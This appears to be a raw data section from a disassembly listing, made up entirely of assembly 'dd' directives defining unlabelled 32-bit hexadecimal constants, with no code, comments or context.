		dd 1C006DD5h, 0B4CF7C18h, 0B15558h, 895E9DB0h, 94D42C44h
		dd 68F01512h, 0AB82F800h
		dd 24BF18C2h, 3280D0Eh,	0E0BC84ADh, 60E799F0h, 5DAC8750h
		dd 58688A00h, 4A0AC66Dh, 0F1011E35h, 2B179Fh, 9CDD1D24h
		dd 0B01CDA3Ah, 4FC0D1ADh, 1067084Eh, 7704EDCh, 25A84B8Ch
		dd 0E4CC0B3h, 0B500A381h, 93F1746Bh, 98C4766h, 0CF16C02Bh
		dd 0BABDD480h, 2600A471h, 5346406h, 91AFE3h, 0BF257EB6h
		dd 7BC23073h, 79000E75h, 57EDE2C6h, 488AD5A3h, 0AA285A41h
		dd 0DE871190h, 513D8090h, 0F4FC157Ch, 0B0F3003Eh, 0D186C457h
		dd 0DC00770Ah, 0F4D7887Bh, 377A5978h, 70C15E12h, 7F7379E1h
		dd 8C3AC628h, 0BD069398h, 8B77A272h, 239E1D68h,	82EB8087h
		dd 57F4B333h, 48009C9Eh, 812AA24h, 0BEBC1751h, 34F44128h
		dd 0CD41F836h, 28B6C5E4h, 0A09000CCh, 626EB745h, 42C25826h
		dd 9B73E900h, 7172698Bh, 0FF5EC000h, 0EDC12A3Fh, 0D6BC18EEh
		dd 207DA845h, 33721807h, 7720BDCCh, 5D866201h, 3900F80Fh
		dd 3772DF99h, 0FC008C1Ch, 47D08E0Eh, 941D3ABBh,	43CA1D1Ch
		dd 0A139FECFh, 5C7014EAh, 9C1C89E8h, 0F64113A6h, 9EC6A84Fh
		dd 1D213080h, 0E4B2A4Eh, 757CC0C0h, 0EB4F62h, 79674C76h
		dd 0E1A48C3Eh, 0FC11DC00h, 0A6ED1D9Fh, 9438E1B2h, 871E429Eh
		dd 32101F3Dh, 0F6020C71h, 2058BB85h, 6AA59002h,	87FB8AA4h
		dd 1E32B1A0h, 90C3B7h, 0BA1AB9E1h, 0F493D7E7h, 4E49D400h
		dd 3BCF34B7h, 0B0F600E9h, 0A86659A9h, 1500DCD2h, 0A53C969Ch
		dd 56451Fh, 0D3FAC4F9h,	0DED8E84Dh, 2955CE40h, 7E023E6h
		dd 0C7C4BD5Bh, 89FEE6FBh, 18384894h, 3D89378Bh,	1BAA0E95h
		dd 0C0BC1281h, 0CEAD31D6h, 3E0070C9h, 8A7DA256h, 1092D03h
		dd 0CAFC2955h, 0FC434AABh, 800002D6h, 0E840CC1Eh, 0B6D049h
		dd 0D4811492h, 3B697CF6h, 0F864992Ah, 0E0AD5D1Ch, 14F33F04h
		dd 6B0B2C90h, 4ECD16B3h, 22E480E2h, 7200E72Fh, 0EAE939F7h
		dd 1C522797h, 0C1C5047Bh, 0D590C4BBh, 0E04180CCh, 1E0ABE43h
		dd 59351323h, 0DA180027h, 5226CAF7h, 685FC707h,	18008692h
		dd 2E3856CDh, 95AE55Eh,	9002C947h, 5C40680Dh, 8503490Fh
		dd 8C446E59h, 5A81E8E0h, 33EE13A0h, 3FB0004Bh, 30580C21h
		dd 48860903h, 1FD7CFAh,	0F3631388h, 41400215h, 2C2747C4h
		dd 5CA0E7A0h, 35DCFF4h,	0BC39A5E2h, 70F82143h, 12045E7Ch
		dd 5BCEFA10h, 40AE2B0Eh, 9A423703h, 9C6097C0h, 8C7DAE01h
		dd 521AAB5Eh, 0C72896h,	45C30C94h, 5B307A8Bh, 0E6DB18AFh
		dd 2B280072h, 0FBBA45Dh, 0F8048E25h, 7D7309D4h,	1CE30EC0h
		dd 0BE2C02EBh, 57B78B7Ah, 0F5F62469h, 2D783010h, 62CCA77h
		dd 5C00E4B4h, 0D717784Dh, 5D971F2Bh, 0F7448070h, 867DACD2h
		dd 3CF56A3Bh, 8B7B0523h, 0EC5CD3B4h, 4DE73040h,	48287FFCh
		dd 0D8009344h, 0B2F49DAFh, 0B700437Dh, 7614DBA0h, 0B7BA9BCCh
		dd 4E89D5C0h, 661B4C00h, 812DF875h, 0D3620006h,	30FCC9Ch
		dd 9B0074CFh, 0A6796A63h, 3D932339h, 0AB89AE97h, 0C98F33C0h
		dd 9C0765h, 5BBC57A0h, 4500C57Ch, 0BCCB989h, 48AFA1DCh
		dd 287D1516h, 1EB1243h,	0D0EE97FAh, 640E99DAh, 0BC012908h
		dd 0E6868008h, 2CF4CDDCh, 487C01ADh, 7BF770F0h,	85E8C007h
		dd 62EB1500h, 99EA5531h, 0BDA9008Fh, 5F63FE41h,	731D3423h
		dd 25C0B1E0h, 0D87C5859h, 0E720053h, 0D1C22E09h, 77000756h
		dd 12AD416Fh, 3F6B3032h, 0C500B2DFh, 0FC23B44Ch, 0E217F43Ah
		dd 2C40D9CDh, 3B6646DAh, 0B08F00DCh, 0BAD7CAD5h, 91003C4Ch
		dd 0D994391Bh, 2830A8E4h, 70E8D267h, 192B1FB0h,	811070B9h
		dd 101F9F7h, 6B8EB2A2h,	18702F3Eh, 0E9EE00C3h, 0F404C7F3h
		dd 8600501Dh, 2D53694Ch, 1FA38D62h, 774175Ah, 50F0654Dh
		dd 0DFC4A088h, 0E34B3Ch, 98A537DCh, 98592B8Dh, 0E15A0021h
		dd 0EC55F328h, 950099CEh, 33250CFFh, 237421h, 0E001A09Eh
		dd 0DEE3C1A5h, 0B6990F0Eh, 0C8D7800Eh, 0FD5EF6h, 0FA6F2AECh
		dd 1984A8D6h, 0DEB85F50h, 8BEF3300h, 2EB7B3A0h,	5E9200D3h
		dd 3684ED11h, 0DA0E3D09h, 0AEFB246Fh, 21FFC9BFh, 0DDFA1C50h
		dd 6FE034h, 43F7956Bh, 0B5E42A6Eh, 14777A00h, 0D89D9730h
		dd 520B2A6h, 0AD7CC5FBh, 0A84CD344h, 2DE488D4h,	16D91C13h
		dd 0E5155440h, 0A02A73h, 0A73996E3h, 8B7067B3h,	0D44E792Ch
		dd 0ECFC80BFh, 2FE0129Eh, 7F5F7438h, 8CEE45h, 3C6413CBh
		dd 1EAB6281h, 900F285Ah, 0AF00109Ch, 20D995Bh, 0CA00E831h
		dd 9127F447h, 66B419h, 0FB87C950h, 8B2BC041h, 0D9C6A600h
		dd 94481822h, 49DB0B4Fh, 0BA009BF0h, 4565097Fh,	742E2C00h
		dd 0D5895068h, 8C7C02BFh, 355B143Eh, 0A0EE1CC0h, 8C0C4726h
		dd 0DBC2D04h, 0CB268300h, 6CE7DB27h, 0BA471F3Ch, 33CD4D80h
		dd 173DE0Ch, 9B0E526Fh,	0F8F3C597h, 1500F655h, 81FF17E2h
		dd 5E7E5166h, 3168009Eh, 3424B48Eh, 0EAA4C100h,	0F3DE45D2h
		dd 0C0D71F59h, 6DCB0076h, 0AB329E1Dh, 2B006FEEh, 7F48828Dh
		dd 0A79766h, 7C8780DAh,	32CF0D4Ah, 0FD0BB1FAh, 25D2301Fh
		dd 38A3A6E0h, 1710CC80h, 0C801F652h, 0AE0B7109h, 58607F82h
		dd 8EF4001Dh, 0C7A08789h, 0B400339Dh, 0B16F2B6Dh, 307D2902h
		dd 2490CD17h, 6004D84Eh, 0A8C6B741h, 3F1BCCC0h,	982800F5h
		dd 0F4499D95h, 0CF60E671h, 3C0A7E30h, 0B08EC04h, 51A3A790h
		dd 18239061h, 852B07F0h, 3920D187h, 0C1E21D00h,	37007D0Bh
		dd 725E6289h, 0E23274Eh, 6A7A7507h, 0A1B42D43h,	5CC1F8A8h
		dd 3B60E300h, 6261DC2Ah, 11A3007Fh, 0C00F01C4h,	0C21FD3B7h
		dd 8D961619h, 0FA3E5403h, 0ACC0FCD9h, 2C9DAC1h,	1F6208CDh
		dd 8448F9C3h, 0E0C0BA8Dh, 9D586C63h, 0A350002Fh, 99554B6h
		dd 8000C7C5h, 0AC5BF7A5h, 3EA8E3Eh, 0E3FA6408h,	46882191h
		dd 250F06AAh, 203017B6h, 0B980D1Ch, 1C09A54h, 3EC7EBE9h
		dd 609D264Ch, 6D006CC5h, 310609BBh, 7E4D3537h, 414507C0h
		dd 7F222ABh, 6988A1AAh,	36BEC07Dh, 0EBE31F00h, 21F0A006h
		dd 0C02A4CE4h, 0B2149805h, 968C800Fh, 0AC1CC6F9h, 0C24056EBh
		dd 0DFC1586Bh, 0D6AB0752h, 11892C61h, 39CBED30h, 0AA298048h
		dd 5EB2FE08h, 0E9AC42DAh, 8860C92Dh, 6F0C4CD9h,	10CE9C4Dh
		dd 0B94439EAh, 0CD5C2400h, 3F478775h, 7F0237E2h, 2DEC82D1h
		dd 0B4F04Dh, 5A09C744h,	3606D628h, 0A0BC3271h, 80E1B108h
		dd 624601D0h, 60C7E3C3h, 0F58024EFh, 0B6F2E92h,	36483EF2h
		dd 0E6F14C98h, 0DF087B00h, 6E4A33A2h, 7AC9031Eh, 0CC911972h
		dd 6A77A6F8h, 0CFB11B03h, 0A2A346h, 0C3496E10h,	0F2E4DD0Ch
		dd 0E52B4F09h, 609D80F6h, 8167A2h, 1BB0C8A9h, 2841DA02h
		dd 1A8A8530h, 22F14F7h,	0ADC2D9F9h, 0D463B2BFh,	321D0FB0h
		dd 1A6BE707h, 0B41091D8h, 1763338h, 0DF78215h, 0C704C954h
		dd 641BDFB0h, 7BBE4900h, 7C1E1F76h, 671D483Fh, 8069AA13h
		dd 0F4387904h, 0EE2B401Ch, 8BD4B204h, 2ACBC4C0h, 4CE584Bh
		dd 523FCC03h, 6C90221Ch, 1F246979h, 0C50F349Fh,	0F28C8058h
		dd 0E082142h, 0B8B08885h, 0A3457B80h, 9090F9F0h, 7F00CF98h
		dd 0EDEA0E05h, 2DBD3BFDh, 0DC006581h, 0B4486777h, 27BFBC09h
		dd 3434015Dh, 2E01B7A0h, 0DF652033h, 450E2B00h,	2A9960A4h
		dd 444B1265h, 7D208F7Bh, 54C0DC4Ah, 7DBFB88Bh, 516E005Fh
		dd 53440E33h, 0A61745FCh, 741CD110h, 0B7FF4F40h, 76A0D4h
		dd 69B36373h, 7B06D734h, 0F20033E8h, 16591994h,	878D58h
		dd 8C505EAEh, 0C038B27Dh
		dd 0AA751001h, 7C5916CCh, 64AB60h, 90C6E186h, 7712A9C4h
		dd 3A0F4AF6h, 0C0EF5575h, 0C7675EA8h, 1E8C3F2Dh, 6A0DB580h
		dd 0D14CF335h, 557BE91Fh, 4BBCD580h, 3BE533F0h,	160079B6h
		dd 9CB58E28h, 9200A415h, 0A53220F4h, 3E7649h, 93972AFDh
		dd 0D44E0DD6h, 9E8A5F07h, 99C03FD3h, 9B8FF2Eh, 5593FE44h
		dd 9FCC3860h, 0D626C700h, 0F0DDE009h, 90B475CDh, 53FE47h
		dd 17227545h, 0D6EA355Dh, 0A1F61F00h, 10B38997h, 58EC5Ch
		dd 195D1CD3h, 3F2798E7h, 94DED01Fh, 0D65760B0h,	1414AD8h
		dd 729DC498h, 715720A2h, 0A1BBAE16h, 0ADF63007h, 0ADC1B6C5h
		dd 38808551h, 53163255h, 0A10E8938h, 80B13E6Ch,	0C04BAC28h
		dd 0BCEC0009h, 4A8FA9F7h, 0A4EA5599h, 88945703h, 132F2ADh
		dd 3172B559h, 8252B342h, 0C8BF8E91h, 56000F41h,	1C680E7Bh
		dd 0C16A6200h, 519E5C95h, 308F0CB3h, 58295302h,	0A9650107h
		dd 16E012D5h, 8AEAB7h, 6FED460Ch, 0B1BFDB20h, 35583200h
		dd 8E55F089h, 0BCF0048h, 191611FAh, 0E0B8A19Ah,	2C625D00h
		dd 29789836h, 0CEE8D0h,	96A91748h, 0ABA542Eh, 8BD80200h
		dd 0B836B4D5h, 31C403CEh, 9E856558h, 0FBD90F80h, 3A2E5101h
		dd 80299472h, 1FD28BE8h, 0E7A4DA83h, 2CE0D4AEh,	5639874Ah
		dd 5468C700h, 0AD519430h, 0B45A000Eh, 0A57D061Ch, 8F28ACF9h
		dd 0A03DC88h, 0B5577E52h, 0EBD4F251h, 507C700h,	18FE59CCh
		dd 18B084E1h, 2003FD2h,	0AF9FD927h, 0C5CDCBEh, 381EC1B3h
		dd 0A000ED31h, 0AEC2AD7Fh, 158B6DEh, 0AA97FB5Ah, 9E50EFFFh
		dd 0A981D661h, 0D690C43h, 318DBBD0h, 0DE819C83h, 717180BFh
		dd 0E5DC18C0h, 0CF32090Ah, 30100C01h, 29004EFDh, 0AA873E05h
		dd 0D6450Dh, 40E3E71Eh,	987DA5C4h, 0DF002A74h, 0AC292389h
		dd 4A0B55Eh, 0BA90779Eh, 0E1A3873Dh, 0ECE8684Eh, 722C99A3h
		dd 510E6D56h, 0E0836FA7h, 0AAFDED2h, 0E0AFB0E1h, 55220F04h
		dd 0B2808B30h, 0B3157260h, 3516C200h, 0D39839CAh, 0D579039Ch
		dd 33E6C562h, 380118D6h, 3B55462Dh, 4F0C652h, 1921867Fh
		dd 22E92662h, 51B2220Ch, 1184C8F6h, 3050DB6Dh, 0ADB54933h
		dd 18DA6F06h, 0C5B27562h, 96812601h, 62CA0881h,	20CC34A9h
		dd 0A230BABEh, 89B3183Bh, 0E1B23370h, 8103EE50h, 8633BCA7h
		dd 4B383D25h, 0E221FB03h, 28C1ECFDh, 0E011E001h, 0C453B3Eh
		dd 719AB18Eh, 282C78E3h, 780897B3h, 1FB43023h, 0B2C77B71h
		dd 0ABBE4EC0h, 52364E68h, 8B0694D5h, 0F84C1B0Dh, 80847137h
		dd 2853C5E0h, 767F06C0h, 0D037F680h, 0B5759915h, 1F3A788Ch
		dd 418EF08h, 0D741C3DFh, 0FC587F7Dh, 0F2FAE94Bh, 5595E000h
		dd 0A8E235A2h, 46EA0012h, 0CCB58A9Bh, 0C6024E52h, 80F738EFh
		dd 0D99CA03Ah, 330742Fh, 0C6114D62h, 8307384h, 27C421D2h
		dd 0FE020074h, 6019152Fh, 80224D89h, 228600E6h,	0F7F3B23Ch
		dd 0BA03639Bh, 6D7FFBD5h, 0BE9EC0AFh, 6A7FE68h,	0D935423Fh
		dd 3900E1C3h, 92BDFDD8h, 19E4F8FFh, 8F1B73Eh, 0F7218063h
		dd 4A0DBDF5h, 0E94E006Dh, 9B5073D4h, 80347E0Ch,	99C0818Fh
		dd 7FA1B8h, 76879F8Eh, 3F89BF31h, 60611490h, 0B1C22AE9h
		dd 0D6FB850h, 61740E79h, 500070CBh, 1BCF5C0Eh, 9975E000h
		dd 0C8A26BF9h, 0BF740F87h, 0DFA0CB8Eh, 511CA60Eh, 0EEBE6200h
		dd 34C012B4h, 89DA60DDh, 75667939h, 25BBD203h, 0A8F3081Bh
		dd 2575BE3h, 0F28D610Bh, 0E8A0C9ACh, 34F9EC93h,	1F491DE8h
		dd 79037CB0h, 0B08C0E29h, 0B72900FCh, 0B6D19862h, 4E2435B8h
		dd 6B80341Eh, 0A70659DAh, 914B1FF0h, 56F10741h,	0FDC52036h
		dd 3875A92Bh, 2904F4ACh, 3D623274h, 0FA20AE62h,	247421h
		dd 87B437BBh, 81828FBEh, 26853E18h, 0CE3BC0B8h,	71CEAFA9h
		dd 5D19B9C0h, 0B85CF653h, 0F8A9000Ah, 0ECBBE696h, 13781884h
		dd 334EB027h, 0DA70B9C3h, 603FEA6Ch, 14FC90A0h,	8CB161A6h
		dd 99C5280h, 933F72F0h,	708B072Bh, 0BBB39546h, 0B4A2A8BFh
		dd 94A500F3h, 0EE552EA3h, 0ECF0CF62h, 6BD7600h,	57B7950Ah
		dd 0B8721D37h, 637A422Bh, 40D513DFh, 1E713B0Bh,	0C661A5B9h
		dd 79C72E8Eh, 5FE0A702h, 0C06BBE19h, 0E435FB7Fh, 0E3750CF7h
		dd 2FF91C33h, 7826CCA4h, 1001815h, 71ABB662h, 0CF670473h
		dd 908FC29Fh, 2B7E2434h, 662C1D00h, 0CB5BA796h,	0A2DC007Fh
		dd 8053EC43h, 0CF0CE095h, 58C32DC0h, 0CB6E008Dh, 0F0C93ABAh
		dd 817730C8h, 4E0067EAh, 11442DF3h, 0A578DEh, 0D52EE269h
		dd 0ABB2EC49h, 838FCE00h, 77E9D3D2h, 5D2A1C24h,	0E58800FAh
		dd 3D0A9E3Fh, 0D600B0F8h, 9127FB70h, 0E83E581Eh, 0A222184Bh
		dd 94487C9Bh, 81442A0Ch, 0C05C08EDh, 8F1CDF21h,	0AC0C65F5h
		dd 180247ADh, 3C0C00C5h, 42E08325h, 217EB81Ch, 0F41BD001h
		dd 8E924A6Fh, 2242881h,	8046AC33h, 0CE184239h, 71CF316h
		dd 8DB5502Dh, 197432Eh,	108C2000h, 0EEAFAECEh, 27E26Ah
		dd 0A8EACCE9h, 0A089C55Bh, 0C8327836h, 28222931h, 18595968h
		dd 0AB8B003Fh, 0EF519FB2h, 5001F1B0h, 599C0136h, 0B8914A6Dh
		dd 0CE419E1Fh, 0CDBCF312h, 3240B00Ch, 0CE1D0060h, 342D0E0Fh
		dd 7802BF3Dh, 16FB775Dh, 0F1AEE192h, 454D8C40h,	0A65A0343h
		dd 0EB549DCAh, 800C52E9h, 0FE948410h, 16B43Ch, 58153366h
		dd 1E99DDF9h, 2272A40Eh, 9C31C3EAh, 304E9877h, 0EDF50355h
		dd 8E0CB536h, 580A7B80h, 0CB779700h, 2B7321B7h,	115F021Ch
		dd 0E55D6076h, 96268540h, 0A8174E04h, 71800BD3h, 1DAE88h
		dd 0AB7BF90Dh, 85909FF0h, 0B1A40700h, 0C96FD423h, 0F1FF004Fh
		dd 88E643E1h, 0D500FA93h, 55BCDE25h, 9A9681Fh, 869D972Ch
		dd 0D175F00h, 0DB00A1E4h, 525D3423h, 0E2DA1Dh, 86D6A338h
		dd 8574D5DFh, 18D604A7h, 10D1B9EEh, 80EBCE7Ah, 358F2DD0h
		dd 0AE24CDh, 6B1E7933h,	0AD66E96Dh, 0F1127AE6h,	0F806FEE3h
		dd 2029379Ch, 363B76E7h, 0CA19007Dh, 6EF4D243h,	55230737h
		dd 6015300Bh, 9773FDABh, 70B80D00h, 5139AD0Ah, 6C57009Bh
		dd 20FC6D85h, 9D1CAA90h, 0A640DB80h, 0D3F1CE0Ch, 6F98C8h
		dd 8B97BF68h, 3A9A1036h, 0AA0D0900h, 64D908CCh,	0D1CD2FAEh
		dd 9100E078h, 0FA353A7Ah, 3C39A298h, 298082DDh,	59AA715Dh
		dd 99007785h, 8109B14Eh, 0E890AEh, 0B26266DEh, 0E47D2D56h
		dd 0BF012BE8h, 4A53B3D7h, 5AF8B7F4h, 6CCB00D2h,	63EC9AABh
		dd 0F5008E3Fh, 4E953C66h, 412534h, 422733C9h, 1A84CB51h
		dd 80F6F43Eh, 0CE0549F2h, 956D64h, 3FFBCA70h, 0DB19628h
		dd 1FA76700h, 839BA82Eh, 60CCFCA6h, 0DCE21021h,	48001C4Bh
		dd 557E89B6h, 3D0E65Ch,	0C0277FEFh, 43B84E9Eh, 0C41D60FBh
		dd 263054F8h, 33D3F9Dh,	2B0CCDF7h, 0DD80C80Eh, 0FD01A86Dh
		dd 5929C7Dh, 0F9C8CE9Bh, 442B0151h, 0FF4CA3DAh,	0E0102077h
		dd 5475600h, 0E86BEB0Ch, 0B0C500A1h, 469619DDh,	150050B4h
		dd 0D3CF0BD0h, 0CD42180h, 0D251E1AAh, 0C038FD4h, 0F6325549h
		dd 2CF8D036h, 2A9A00F2h, 11409EA3h, 84007C63h, 99F99479h
		dd 223DABh, 0C6C89C7Fh,	652CA7FCh, 9FAAB400h, 6C495CD2h
		dd 577900B7h, 0C3201BFDh, 88C48C1Ch, 31FC8186h,	0AF0AC107h
		dd 87CD3039h, 46242104h, 0DB0074C0h, 0FED9CF37h, 1E0BE045h
		dd 800FCD63h, 42468AD2h, 9D006FE2h, 0C806CF8Eh,	0ECE617E4h
		dd 6E60C094h, 0BE8391BDh, 0AD31DE00h, 0FBE396A6h, 0D2340168h
		dd 2EDC759h, 0BB118130h
		dd 48535B63h, 25CED980h, 3A5A8BDAh, 0E0A01900h,	8FD3F050h
		dd 0EEC700CDh, 6D49C521h, 7C008B6Eh, 2B169EE2h,	5A874Ah
		dd 4B737B5Dh, 40EE06CBh, 0B0D4370Fh, 0D9FAA2C5h, 5E807510h
		dd 0E816E70Fh, 0E2C8F907h, 272070B4h, 0E0DE6DF5h, 717300E1h
		dd 826F6E8Eh, 1D280418h, 8D01F075h, 0C6B1A909h,	96E8EB1Eh
		dd 0BF7F00A2h, 0B6ABCEFEh, 0FF006A57h, 349F3787h, 0A18D6B0Eh
		dd 18279C90h, 506ACF48h, 0FA600010h, 0D9196387h, 90A5BE00h
		dd 0BA5E62FEh, 0C6DA09F3h, 8219DD1h, 503E590Bh,	1C13A4ECh
		dd 19AAD00Bh, 7AF1807Dh, 28C6D572h, 1EC5A60h, 9A684794h
		dd 80CD3CE0h, 8BEBD5C1h, 414C458h, 0E694953h, 804085E5h
		dd 4D7A3A13h, 68769F00h, 847F2658h, 1408FC39h, 0C2EE6C9Bh
		dd 0AA6BBB01h, 80E6AD5Ch, 140F3338h, 1F401E87h,	92BADA86h
		dd 0DE9C0148h, 80242FA5h, 8DD9D429h, 3F8A01h, 0E7C46260h
		dd 9C2609B0h, 710B8301h, 957E064Bh, 0C9C42021h,	6ADD027Bh
		dd 0DA027592h, 0D5102C48h, 93C7CE01h, 0FA30F5B2h, 0FE853A30h
		dd 0B42D26DAh, 7646005Ch, 0F5210A4Eh, 69D53A00h, 0BB22E7F9h
		dd 579A0044h, 0D7BEE05Ch, 8900300Eh, 0B8C6FAA8h, 0AED585h
		dd 0A0318D36h, 3FE8C92Eh, 0EABCED00h, 7658B250h, 5975077Ah
		dd 0C79A0Bh, 1CEEC2D2h,	7311DA01h, 76F16F48h, 0C860F4h
		dd 218A2468h, 79C41AE7h, 908BD000h, 0A1FC549Bh,	5E441220h
		dd 1B44F91h, 0BD0C8D49h, 3238C630h, 1810033Ah, 6932025h
		dd 0A1EE43F8h, 2AE6203Dh, 0FF645603h, 81086D9Bh, 2980EC83h
		dd 92781B3Eh, 3100CA7Ch, 0B2A95072h, 1C6D9962h,	53AF7B77h
		dd 1C930037h, 5D44B95Ch, 405C2060h, 302F862Eh, 61999398h
		dd 0FD1CF23Fh, 0E3C92CFFh, 4E183056h, 0B5AA00EAh, 0A16A62BBh
		dd 0F03C4121h, 7C2D800Ch, 0B45CB053h, 0F1E8A83Ch, 425B010h
		dd 0F2978AE7h, 0B76880F5h, 1D6E696Dh, 8F098018h, 254A295h
		dd 0D903DCE0h, 6840E31Bh, 610EAD0Dh, 40CE86BDh,	0FCB69104h
		dd 369B0044h, 0D66F198Bh, 3D52AA74h, 0A913A24h,	0D34D1672h
		dd 0C25FBA02h, 0BB7FE055h, 0AA4A00B6h, 0DC2F9C52h, 542CA3D1h
		dd 7300545Fh, 0C3D88C3Ch, 65C91C68h, 408E1D0Bh,	50CCFD84h
		dd 8C30296Dh, 80E4C0DEh, 0A032B0CEh, 76C2478h, 1B3F6E19h
		dd 28C6F04Dh, 0BD0A1377h, 982C1748h, 66BF2907h,	0CF5DF511h
		dd 8738FC50h, 88F41CCCh, 536400CBh, 0A47F811Dh,	6A25EC00h
		dd 0A85678ADh, 91D97E95h, 0C3AB8820h, 286C52h, 3FC814BDh
		dd 0B40C9BF8h, 0F1EB7600h, 81E6C0E2h, 38870058h, 25EE7733h
		dd 5A288DADh, 8526A441h, 7B805C5Eh, 5B069A9Eh, 89B00FDh
		dd 0C59FA329h, 86FAB424h, 0E17BD703h, 0DB04F2C6h, 87879E0h
		dd 3D06103Fh, 41344982h, 0E8044B6Fh, 0B21329h, 0EE8D67D5h
		dd 0EE4A53Bh, 0AFC2FF00h, 0D33AC4Ch, 16B27AD2h,	40807A55h
		dd 4FB9529Ch, 0C9F0A037h, 7800087Ch, 3E14570Bh,	4D12ADE1h
		dd 0F100341Bh, 0B944FEBBh, 0E700A93Fh, 0C07FC2DCh, 135315h
		dd 7B72FB23h, 272C8A19h, 4735D400h, 7AB048DEh, 56551853h
		dd 9CD610FFh, 3430AA07h, 799088D5h, 153D2F22h, 94703BD9h
		dd 9FC0528h, 86B01BDBh,	47F81000h, 3C005A30h, 0B641A71Fh
		dd 58174A7Eh, 73039C42h, 0BCF6AD62h, 8084113Eh,	0E2D7E31Eh
		dd 0FCDCCD4h, 0F3F2C5EEh, 87F82580h, 3F2C5C30h,	0C21D347Fh
		dd 0FC0ED940h, 17B8863Bh, 0AED343h, 92C0A4F4h, 8F00C369h
		dd 489F7F50h, 7AC90Bh, 0F53ECF84h, 0B5407D81h, 3CDED600h
		dd 3B46B672h, 0AB4800DCh, 0A905193h, 0D107F657h, 0B59D379Eh
		dd 8494C8A0h, 0A0DB00CBh, 8D5AF34h, 0CD002AB3h,	3E9F5D05h
		dd 0BA7F38h, 83047BE4h,	91F1E251h, 0F845BE00h, 0A7695711h
		dd 4A75043Dh, 0A0D9420Ah, 0E2021AA0h, 793930E4h, 57F0A0B5h
		dd 9D0EA2h, 0D912B0EEh,	43C88CAh, 5C48862Ch, 0E58A4D87h
		dd 30A49E91h, 0EE8864h,	930F10C7h, 850B9965h, 17743259h
		dd 0EF00084Ah, 0C5D8EF78h, 6DC90041h, 0CA0B5DFCh, 0DD009447h
		dd 4B74F4AAh, 3BAFEB8h,	0CC4A421h, 0A8C6E5B1h, 0C8938513h
		dd 8ABCF440h, 0B3F6C768h, 0A4ACC8h, 6C638B96h, 0EC0B17ABh
		dd 0A0A44AB2h, 3E945F88h, 61461286h, 875040D1h,	0B3D6CD6Eh
		dd 94651D00h, 0C8A82080h, 0C6B15C14h, 2B58B600h, 8777A356h
		dd 0D1768630h, 240CFCC7h, 80A0AD0Eh, 7F8F75EFh,	2E2CF595h
		dd 92033C31h, 0CF83BA25h, 724B2F30h, 4A66072Bh,	20A907EBh
		dd 0F6770A5Ah, 0F050D9EEh, 0C3015CBCh, 0B6B5C7FFh, 0DC217630h
		dd 0DF0C30h, 2D05D681h,	0D7CDFED1h, 21E7AC00h, 1D86B4A3h
		dd 2C70E6BCh, 80CCD030h, 53BF642Bh, 0EF98118Ah,	24C2FE00h
		dd 8E0876C9h, 3CBD139Eh, 7D20077Bh, 0DF1790FAh,	0C38FD47h
		dd 0EB4D0206h, 62F3E1D9h, 2E10589Fh, 49548AA6h,	0F7BA2498h
		dd 204B34Ch, 5E61CF8Ch,	6E38EAB1h, 6C4F13C8h, 0AC000C3h
		dd 5AC97D4h, 0E2424B00h, 0EFF181D6h, 0C6DF02C8h, 0C1609AC5h
		dd 0FEAAF882h, 0F180A465h, 0E4C591CCh, 0CBDD0053h, 0F9825E32h
		dd 4C25BD8Eh, 5C581095h, 0D1802E1Dh, 3F102A3Eh,	898CB520h
		dd 0C5C16310h, 0BDAA3A00h, 4A4F0B72h, 189760E5h, 38641488h
		dd 0FA77D900h, 55683E1Bh, 45041D6Dh, 0C989C01Dh, 0CEEC251Ah
		dd 78473800h, 8D562687h, 3C9F00AFh, 341D0779h, 0D500E275h
		dd 59429A4h, 0A3E4D9h, 6787C48Bh, 0EF6E737Fh, 1E6AF000h
		dd 0D954A068h, 0A2221E99h, 0CC340FAh, 4FB4D89Eh, 0B62EAD0Eh
		dd 86F8A00Ah, 1BFEDC33h, 0D8FC8201h, 0D3409288h, 7DB6FB00h
		dd 6C2D66A8h, 52811B43h, 8ACAD09Ah, 532F7848h, 1560394Ch
		dd 158C2363h, 48885ACDh, 12858B8h, 0A46E4412h, 0E130C7A3h
		dd 0BDFF22Ah, 0B70FD7AAh, 0AC0D5D00h, 8803843Ch, 2F483DF6h
		dd 0DE9AB84Ah, 697AD8h,	0C8F31794h, 0C5721B6Eh,	74E27300h
		dd 0B93E0E70h, 0AC1D00A7h, 10E5575Fh, 0AE01B572h, 4E555D2Fh
		dd 5E4567Eh, 71743E47h,	9B086A80h, 0D0586CE8h, 1A9A5013h
		dd 0DC02F807h, 1BA61370h, 76200AEh, 0A7416EFAh,	0B500F226h
		dd 82D04587h, 2C0E59h, 0B94E818h, 531021F7h, 470028F6h
		dd 37AE355Bh, 2631E5B8h, 1DE0D463h, 0C040D23Ch,	297C481Ch
		dd 2E92BB00h, 5201884Ch, 0C1450253h, 0BD0F7042h, 0F0E85C61h
		dd 0F500BE25h, 6BC51863h, 0F033C6Eh, 0DDD3EF8Eh, 1AD5E920h
		dd 4400BF70h, 8DFA236h,	21B43Fh, 0A960825Ah, 4D37641Eh
		dd 43716800h, 63304EF7h, 0D37AEEh, 0FF07D8Bh, 9C292360h
		dd 52265903h, 0E8CA38FAh, 0A823F0Dh, 80203961h,	0B19C02E4h
		dd 0CCC1AE53h, 9590D333h, 7A00F21Ah, 8E45691Dh,	4C529FA8h
		dd 0A048CA3Ah, 4D862900h, 6454A1C8h, 195FCF00h,	24FEB4ABh
		dd 970B24A0h, 2FD4099Ah, 0F2DD3880h, 0C000C892h, 0EAAAB1B9h
		dd 0B4E96Fh, 9DA2C3E0h,	18CB737Bh, 0CFA1CD00h, 5DB2FC5Ch
		dd 672200B7h, 5E72A54Ch, 643C119Ch, 0DABC0014h,	0DFDB28E4h
		dd 37A10778h, 0BE867DB5h, 0F3FB19E0h, 0A600B724h, 4ED43D11h
		dd 1E8894AEh, 79EA0BDh,	3067FA48h, 7F3943BBh, 0C20FC300h
		dd 0CFA2FBF5h, 4932004Ah, 7BDB488Fh, 0F91DB3EAh, 0E7403A11h
		dd 61EFB099h, 30D75854h, 4213DD03h, 47F05365h, 51009C7Ah
		dd 0BC7C1AA5h, 7D7240E2h, 27A01D9Dh, 70898073h,	213452CAh
		dd 28B26100h, 6EE40A0Fh, 6C7A1690h, 44C4009Bh, 0DDF2A834h
		dd 97FEA001h, 136025AAh
		dd 1FF05231h, 0E2FD09E6h, 9A00353Bh, 0B490767Fh, 0A1F538h
		dd 80FEEB5Eh, 0BD6E799h, 4DF34A65h, 0AAD0C021h,	698770A5h
		dd 0BA899F00h, 1AE9D8A7h, 54720307h, 0B49AE1FAh, 0F5927FC0h
